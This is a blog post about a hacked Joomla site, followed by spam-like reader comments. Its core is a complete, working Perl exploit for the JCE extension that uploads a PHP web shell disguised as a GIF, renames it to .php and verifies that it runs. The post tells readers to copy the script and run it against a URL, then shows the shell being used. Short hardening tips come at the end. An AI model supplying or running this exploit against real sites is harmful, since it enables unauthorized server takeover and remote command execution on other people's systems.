We all are aware of Joomla Framework but their are many vulnerabilities associated with it.
Some of them known, some unknown and some not discovered yet.
Let’s start with some which I am aware and have come across.
Scenario: A website, Example.com being hacked and compromised. It was reported by Maldet as shown below,
Now let’s Jump into This and below are the steps we normally follow when it’s an hack attempt.
Step 1: Log Analyzing
As you can see from the below image, it says [BOT JCE]
It can be clearly seen that JCE component of Joomla Version is vulnerable to Remote File Upload.
Step 2: Reverse Engineering (Let’s explore this Loop Hole to get the clear idea of the hack)
Copy the below perl script as it is,
Perl Version:
######################################### http://www.bugreport.ir ######################################## # # AmnPardaz Security Research & Penetration Testing Group # # # Title: Exploit for JCE Joomla Extension (Auto Shell Uploader) V0.1 - PHP Version # Vendor: http://www.joomlacontenteditor.net # Vulnerable Version: JCE 2.0.10 (prior versions also may be affected) # Exploitation: Remote with browser # Original Advisory: http://www.bugreport.ir/index_78.htm # Vendor supplied patch: http://www.joomlacontenteditor.net/news/item/jce-2011-released # CVSS2 Base Score: (AV:N/AC:L/Au:N/C:P/I:P/A:P) --> 7.5 # Coded By: iraqi h4ck################################################################################################### use IO::Socket; use LWP::Simple; system("cls"); if(!defined($ARGV[0])) { print "\n\n\t.::. Exploit for JCE Joomla Extension (Auto Shell Uploader) V0.1 .::.\n\n"; print "\t|||| Coded by: iraqi h4ck (admin[@]0-Day[dot]net) ||||\n\n"; print "\t+--> Usage: perl $0 <host> <--+\n"; print "\t+--> Example: perl $0 localhost <--+\n\n"; exit; } print "\n\n\t.::. Exploit for JCE Joomla Extension (Auto Shell Uploader) V0.1 .::.\n\n"; print "\t|||| Coded by: iraqi h4ck (admin[@]0-Day[dot]net) ||||\n\n"; $TARGET = $ARGV[0]; $PORT = "80"; $SCRIPT = "/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20"; $SHELL = "/images/stories/0day.php?cmd="; $header1G = "GET $SCRIPT HTTP/1.1"; $header1H = "HEAD /images/stories/0day.php HTTP/1.1"; $header1P = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1"; $header1P2 = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1"; $header2 = "Host: $TARGET"; $header3 = "User-Agent: BOT/0.1 (BOT for JCE)"; $header4 = "Content-Type: multipart/form-data; boundary=---------------------------41184676334"; $header5 = "Content-Length: 769"; $header6 = "-----------------------------41184676334"; $header7 = 'Content-Disposition: form-data; name="upload-dir"'; $header8 = '/'; $header9 = 'Content-Disposition: form-data; name="Filedata"; filename=""'; $header10 = 'Content-Type: application/octet-stream'; $header11 = 'Content-Disposition: form-data; name="upload-overwrite"'; $header12 = "0"; $header13 = 'Content-Disposition: form-data; name="Filedata"; filename="0day.gif"'; $header14 = 'Content-Type: image/gif'; $header15 = 'GIF89aG'; $header16 = "<? system($_GET['cmd']);exit; ?>"; $header17 = 'Content-Disposition: form-data; name="upload-name"'; $header18 = '0day'; $header19 = 'Content-Disposition: form-data; name="action"'; $header20 = 'upload'; $header21 = "-----------------------------41184676334--"; $header22 = 'X-Request: JSON'; $header23 = 'Content-Type: application/x-www-form-urlencoded; charset=utf-8'; $header25 = 'json={"fn":"folderRename","args":["/0day.gif","0day.php"]}'; $header24 = "Content-Length: ".length($header25).""; ############################################### Packet 1 --> Checking Exploitability ######################################################### print "\n[*] Checking Exploitability ...\n\n"; sleep 2; $pageURL=$TARGET.$SCRIPT; $simplePage=get($pageURL); @arr = ("2.0.11</title","2.0.12</title","2.0.13</title","2.0.14</title","2.0.15</title","1.5.7.10</title","1.5.7.11</title","1.5.7.12</title","1.5.7.13</title","1.5.7.14</title");while (($count!=10) && ($die != 1)) { foreach $arr(@arr){ if ($simplePage =~ m/$arr/) { print "\n[*] Target patched.\n\n"; $die = 1; } else { $count++; } } } if ($count==5) {print "[*] Target is exploitable.\n\n"}; ############################################### Packet 2 --> Uploading shell as a gif file ######################################################### $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET" ,PeerPort=>"$PORT") || die "Can't connect to $TARGET"; print "[*] Trying to upload 0day.gif ...\n\n"; print $remote "$header1P\n$header2\n$header3\n$header4\n$header5\n\n$header6\n$header7\n\n$header8\n$header6\n$header9\n$header10\n\n\n$header6\n$header11\n\n$header12\n$header6\n$header13\n$header14\n\n$header15\n$header16\n$header6\n$header17\n\n$header18\n$header6\n$header19\n\n$header20\n$header21\n\n";sleep 2; ############################################### Packet 3 --> Change Extension from .gif to .php ######################################################### print "[*] Trying to change extension from .gif to .php ...\n\n"; $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET" ,PeerPort=>"$PORT") || die "Can't connect to $TARGET"; print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; ############################################### Packet 4 --> Check for successfully uploaded ######################################################### $shellurl=$TARGET.$SHELL; $output=get($shellurl); while ($output = <$remote> ) { if ($output =~ /200 OK/) { print "[+] 0day.php was successfully uploaded\n\n"; print "[+] Path:".$TARGET.$SHELL."id\n"; }}Example, name it as joohck.pl then use it as perl joohck.pl http://www.example.com as shown below,
Step 3: Bang
… http://www.example.com/images/stories/0day.php?cmd=id
0day.php was successfully uploaded, let’s browse the file,
Step 4: Check the logs as you will see the same [BOT JCE] entry. so we know how it got hacked, enough of being an hacker.
Step 5: How to secure your Joomla?
- Stringent .htaccess rules
- Change the default Joomla Tables prefix from jos_ to something different like smth then after change it in the configuration file as shown below,
Modify the configuration.php file in your main Joomla folder. In it locate the following line:
var $dbprefix = ‘jos_’;
change it to var $dbprefix = ‘smth_’;
- Update the plugins and apply patches and keep Joomla Version up-to-date.
- Password protect your administrative area.
- Follow below links for stringent .htaccess rule,
http://www.bowlerhat.co.uk/archive/adding-additional-rewrite-rules-to-joomla-htaccess/
http://www.siteground.com/tutorials/joomla15/joomla_security.htm
http://www.webmasterworld.com/content_management/4274518.htm
PS: have multiple scanners running on your server, it’s saving our asses big time,
- Maldet
- Clamav
- chkrootkit




It’s really a nice and useful piece of information. I’m satisfied that you just shared this useful info with us. Please keep us up to date like this. Thank you for sharing.
Thank you
and surely will keep on updating.
i have heard this before but can’t recall where i did, still interesting though,
we recently faced this on our servers..
… digging deeper and little bit of Google helped us to overcome this vulnerability …. Thank you for your comment.
I read this paragraph fully regarding the difference of most up-to-date and earlier technologies, it’s remarkable article.
Pretty! This was an extremely wonderful article.
Thanks for providing this info.
Its not my first time to pay a quick visit this site, i am visiting this website dailly and take pleasant facts from here all the time.
You actually make it seem really easy along with your presentation however I find this topic to be really one thing that I feel I would never understand. It kind of feels too complicated and very extensive for me. I’m taking a look ahead on your next put up, I’ll attempt to get the hold of it!
Pretty section of content. I just stumbled upon your
blog and in accession capital to assert that I get in fact
enjoyed account your blog posts. Anyway I’ll be subscribing to your augment and even I achievement you access consistently fast.
I absolutely love your blog and find almost all of your post’s to be what precisely I’m looking for.
can you offer guest writers to write content for yourself?
I wouldn’t mind creating a post or elaborating on some of the subjects you write in relation to here. Again, awesome weblog!
Quality articles or reviews is the important to be a focus
for the people to visit the web page, that’s what this site is providing.
I don’t know if it’s just me or if everyone else encountering problems with your site.
It appears as though some of the text within your content are running off the screen.
Can somebody else please provide feedback and let me know if
this is happening to them too? This could be a problem with my browser because
I’ve had this happen before. Kudos
I’ve been exploring for a bit for any high quality articles or weblog posts on this kind of space . Exploring in Yahoo I ultimately stumbled upon this site. Reading this information So i’m happy to express that I’ve an incredibly excellent uncanny feeling I discovered just what I needed. I so much indisputably will make sure to don?t omit this site and give it a glance on a constant basis.
excellent put up, very informative. I wonder why the other specialists of this sector do not realize this.
You must proceed your writing. I am confident, you have a huge readers’ base already!
I all the time used to study article in news papers but now as I am a user of net thus from now I am using net for
posts, thanks to web.
Hello, after reading this awesome paragraph i am too delighted to share my knowledge
here with friends.
great and educative content, thanks for being so important for the education. lista de email lista de email lista de email lista de email lista de email
It truly is extremely intriguing subject you’ve written here..The truth I’m not related to this, but I believe is a excellent opportunity to learn far more about, And as properly speak about a different subject to which I used to talk with others
I enjoy the efforts you have put in this, regards for all the great content.